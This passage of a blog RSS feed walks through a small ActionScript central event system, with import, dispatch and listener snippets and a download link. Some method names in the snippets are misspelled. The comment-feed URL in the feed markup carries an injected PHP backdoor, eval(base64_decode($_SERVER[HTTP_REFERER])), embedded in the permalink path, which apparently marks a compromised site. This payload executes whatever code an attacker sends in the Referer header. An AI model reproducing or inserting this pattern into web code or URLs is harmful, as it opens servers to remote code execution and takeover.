<p>First import the class:</p>
<pre language="actionscript">
import EventCentral;
import ProjectEvent;</pre>
<p>To dispatch an event, it would look like this:</p>
<pre language="actionscript">EventCentral.getInstance().dispatcheEvent(new ProjectEvent(ProjectEvent.SOME_EVENT, {name:"Reynaldo"}));</pre>
<p>To listen to and handle the event:</p>
<pre language="actionscript">EventCentral.getinstance().addEventListener(ProjectEvent.SOME_EVENT, someEventhandler);
function someEventhandler($event:ProjectEvent):void
{
    trace($event.params.name)
}</pre>
<p>Thats it! Just remember not to have a slew of events handling absolutely everything in your projects, I&#8217;ve had bad experiences when abusing this method. But enough chit chat, you can find the two classes with an example here:</p>
<p><a href="http://www.reynaldocolumna.com/blog/stuff/CentralEventSystem.zip">CentralEventSystem.zip</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.reynaldocolumna.com/blog/2008/02/26/event-control-system/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
